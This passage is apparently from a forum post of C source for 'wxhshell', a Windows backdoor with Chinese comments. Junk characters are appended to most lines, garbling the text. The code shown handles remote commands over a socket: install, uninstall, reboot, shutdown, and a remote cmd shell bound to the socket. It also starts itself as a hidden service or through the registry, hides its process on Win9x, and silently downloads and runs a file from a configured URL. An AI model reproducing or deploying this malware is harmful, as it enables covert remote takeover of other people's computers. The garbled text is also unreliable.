      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F~ 5,-atDM  
    break; 2lpPN[~d  
  } "@eGgQ  
  // 安装 xX%ppD7  
  case 'i': { //2O#Fg{/  
    if(Install()) ]|CcQ1#|H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&+O*=#Hh  
    else .Q!d[vL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wBXa;.  
    break; hi!A9T3%}M  
    } s`bGW1#io  
  // 卸载 eavn.I8J  
  case 'r': { %@Gy<t,  
    if(Uninstall()) %(W&(eN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q8d](MaX  
    else K`K v.4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i#*[, P~  
    break; paIjXaU1Mb  
    }  \nEMj,)  
  // 显示 wxhshell 所在路径 YQN:&Cls  
  case 'p': { $M)i]ekm  
    char svExeFile[MAX_PATH]; >SDQ@63E?  
    strcpy(svExeFile,"\n\r"); z;1dMQ,#  
      strcat(svExeFile,ExeFile); 'M~`IN`  
        send(wsh,svExeFile,strlen(svExeFile),0); 5VTVx1P[8  
    break; =l43RawAmu  
    } #4bT8kq  
  // 重启 ) 1AAL0F\B  
  case 'b': { n\((#<&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ck{S  
    if(Boot(REBOOT)) ,<%uG6/",g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xkDK5&V  
    else { l'(FM^8jv  
    closesocket(wsh); eTp|!T  
    ExitThread(0); 6U !P8q  
    } U~][ ph  
    break; !ddyJJ^a  
    } @6'~RD.  
  // 关机 >*{k~Y-G  
  case 'd': { l9f_NJHo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T<0r,  
    if(Boot(SHUTDOWN)) nnj<k5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F `o9GLxM}  
    else { r"2lcNE  
    closesocket(wsh); ]_h 3  
    ExitThread(0); 1jd{AqHl  
    } \+V"JIStUj  
    break; _!o8s%9be  
    } csW\Q][  
  // 获取shell &qS%~h%2  
  case 's': { I #1~CbR  
    CmdShell(wsh); $97O7j@  
    closesocket(wsh);  "M5  
    ExitThread(0); S&}7XjY  
    break; F~6]II  
  } U&#` <R_0  
  // 退出 CnB[ImMs(A  
  case 'x': { ~QbHp|g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gF p3=s0~  
    CloseIt(wsh); jl P*RX  
    break; hP+4{F*}-  
    } jcqUY+T$  
  // 离开 aPelt`  
  case 'q': { ^ nPy(Q0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1]:,Xa+|S  
    closesocket(wsh); xJ$uoy3+  
    WSACleanup(); /iO"4%v  
    exit(1); A8&@Vxdz  
    break; 8S#$'2sT  
        } O z0-cM8t  
  } Sn*s@RE\s  
  } ooJxE\L  
w317]-n  
  // 提示信息 CBd%}il  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "v:k5a(  
} 06&;GW!-  
  } 5&s6(?,Eu  
qkhre3  
  return; o)5zvnu7  
} 73X*|g  
29J|eBvxx  
// shell模块句柄 )r46I$]>  
int CmdShell(SOCKET sock) clU ?bF~e1  
{ P{)D_Bi  
STARTUPINFO si; z|3v~,  
ZeroMemory(&si,sizeof(si)); _\d|`3RM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @;eH~3P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [ ojL9.6  
PROCESS_INFORMATION ProcessInfo; aaU4Jl?L  
char cmdline[]="cmd"; VvW4!1Dl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6ZI Pe~`  
  return 0; I+ |uyc  
} ouCh2Y/_  
FBl,Mky  
// 自身启动模式 enPtW  
int StartFromService(void) "m^gCN}c  
{ /4Wf\ Zu  
typedef struct M%_*vD  
{ XcoX8R%U  
  DWORD ExitStatus; oA5Qk3b:  
  DWORD PebBaseAddress; 1L::Qu%E  
  DWORD AffinityMask; S=P}Jpq?Y;  
  DWORD BasePriority; f.J^HQ_  
  ULONG UniqueProcessId; dsw^$R}   
  ULONG InheritedFromUniqueProcessId; {BlTLAKm  
}   PROCESS_BASIC_INFORMATION; --y,ky#  
fwt+$`n  
PROCNTQSIP NtQueryInformationProcess; Ru`afjc  
{Yxvb**  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (QIU3EN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >A D!)&c  
UZt3Ua&J  
  HANDLE             hProcess; Ch?yk^cY  
  PROCESS_BASIC_INFORMATION pbi; WrwbLlE  
EB&hgz&_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P4"BX*x  
  if(NULL == hInst ) return 0; 2n>mISy+  
;s,1/ kA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W= NX$=il  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kVsX/ ~$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sB:e:PK  
0* x ?rO?  
  if (!NtQueryInformationProcess) return 0; gAvNm[=wD2  
+>1Yp">?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @8J*vY =e  
  if(!hProcess) return 0; dKPXs-5  
'2l[~T$*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hFoeVM[h  
t@lTA>;U@  
  CloseHandle(hProcess); ]gHrqi%  
MA tF,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W!el[@  
if(hProcess==NULL) return 0; ?_{{iil  
B[sI7D>Y  
HMODULE hMod; ^K`PYai  
char procName[255]; &:d`Pik6  
unsigned long cbNeeded; |LIcq0Z  
eY Rd#w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ii`,cJl  
?a+J4Zr3  
  CloseHandle(hProcess); D {E,XOi  
uAYDX<Ja9  
if(strstr(procName,"services")) return 1; // 以服务启动 O:V.;q2]U  
8}oe))b  
  return 0; // 注册表启动 }}Q h_(  
} 'h&>K,U?5  
 [Ketg  
// 主模块 ]\ZJaU80I~  
int StartWxhshell(LPSTR lpCmdLine) C]ho7qC  
{ QWm g#2'  
  SOCKET wsl; 3KD:JKn^  
BOOL val=TRUE; Rwj 3o  
  int port=0; T;kh+ i  
  struct sockaddr_in door; N}z]OvnZH  
_NuHz  
  if(wscfg.ws_autoins) Install(); FzsW^u+  
_B 4 N2t$  
port=atoi(lpCmdLine); :gkn`z  
iF##3H$c  
if(port<=0) port=wscfg.ws_port; 9Z2aFW9  
V-%jSe<  
  WSADATA data; xjDaA U,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IQ#Kod;)  
Ov:U3P?%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,mp^t2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kv5 !cll5  
  door.sin_family = AF_INET; 7m(9|Y:Q.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a$11u.\q+  
  door.sin_port = htons(port); XX1Iw {o9:  
kzKQ5i $G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ewYk>  
closesocket(wsl); @`sZV8  
return 1; z\J#d 1e  
} KH$o X\v  
SsL>K*t5  
  if(listen(wsl,2) == INVALID_SOCKET) { nzi)4"3O  
closesocket(wsl); Gnqun%  
return 1; <~5$<L4  
} w\a9A#v,  
  Wxhshell(wsl); 6~Zq  
  WSACleanup(); A@EUH  
Wf  *b"#  
return 0; V,3$>4x  
4y9n,~Qgw  
} ^@q $c  
BjUz"69  
// 以NT服务方式启动 (@*#Pn|A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~o/e0  
{ s9YP =)I  
DWORD   status = 0; /I#SP/M&l  
  DWORD   specificError = 0xfffffff; 1'J|yq  
0'y3iar  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~ @s$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,OO0*%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $66DyK?  
  serviceStatus.dwWin32ExitCode     = 0; Gm LKg >%  
  serviceStatus.dwServiceSpecificExitCode = 0; Z}6H529[  
  serviceStatus.dwCheckPoint       = 0; Ll6|WhX  
  serviceStatus.dwWaitHint       = 0; /&'rQ`nd  
!*|`-woE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A?OaP  
  if (hServiceStatusHandle==0) return; ~%:23mIk  
9L xa?Y1  
status = GetLastError(); \c$! C8z  
  if (status!=NO_ERROR) `_&7-;)i*\  
{ yn5yQ;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xyTjK.N  
    serviceStatus.dwCheckPoint       = 0; mH} 1Zy  
    serviceStatus.dwWaitHint       = 0; fDY#&EO: %  
    serviceStatus.dwWin32ExitCode     = status; i(XqoR-x  
    serviceStatus.dwServiceSpecificExitCode = specificError; liq9P,(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {oN7I'>  
    return; Vg4N7i  
  } GKKf#r74  
Z:}d\~`x$%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "S@%d(lg  
  serviceStatus.dwCheckPoint       = 0; 6<<ihm+  
  serviceStatus.dwWaitHint       = 0; 6rOd80\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7*r7Q'  
} ;M"JN:J8  
 OL|UOG  
// 处理NT服务事件,比如:启动、停止  cUz7F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f#UT~/~bL2  
{ J@c)SK%2h  
switch(fdwControl) W[R o)  
{ `8%2F}x}qD  
case SERVICE_CONTROL_STOP: f?1?$Sp/W  
  serviceStatus.dwWin32ExitCode = 0; }l>0m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bytAdS$3  
  serviceStatus.dwCheckPoint   = 0;  *w538Vb  
  serviceStatus.dwWaitHint     = 0; )xuvY3BPB?  
  { Yvu!Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'J&$L c  
  } Em8C +EM  
  return; B6iH[dTy_  
case SERVICE_CONTROL_PAUSE: Rj9YAW$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _fu?,  
  break; $5`P~Q'U  
case SERVICE_CONTROL_CONTINUE: 4~3 N;]X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gZe(aGh  
  break; !giL~}j(R  
case SERVICE_CONTROL_INTERROGATE: Eh)PZvH  
  break; kw>W5tNpf:  
}; r9Wk7?w)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p ] V  
} ShdE!q7  
_>8ZL)NQQ  
// 标准应用程序主函数 f\}fUg 2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P"LbWZ6Nj  
{ QQUYWC  
9"3 7va  
// 获取操作系统版本 |Fk>NX  
OsIsNt=GetOsVer(); \s8j*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0wCJNXm  
RjY(MSc  
  // 从命令行安装 I5l5fx  
  if(strpbrk(lpCmdLine,"iI")) Install(); >TT4;ph  
_H9.A I  
  // 下载执行文件 /*)zQ?N  
if(wscfg.ws_downexe) { ;N4A9/)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lj"@JF;c  
  WinExec(wscfg.ws_filenam,SW_HIDE); N,9W18 @  
} ^u@"L  
diF-`~  
if(!OsIsNt) { FA}dKE=c Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 0drt,k  
HideProc(); Em?Z  
StartWxhshell(lpCmdLine); #"J8]3\F  
} B8){  
else #1-,s.)  
  if(StartFromService()) RjC3wO::  
  // 以服务方式启动 B|9)4f&\=R  
  StartServiceCtrlDispatcher(DispatchTable); w\o?p.drp=  
else )N4!zuSVf  
  // 普通方式启动 q#RUL!WF7U  
  StartWxhshell(lpCmdLine); f3Zm_zxj  
TUw+A6u:p  
return 0; $l05VZ  
}
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只看该作者 1 发表于: 2006-10-10
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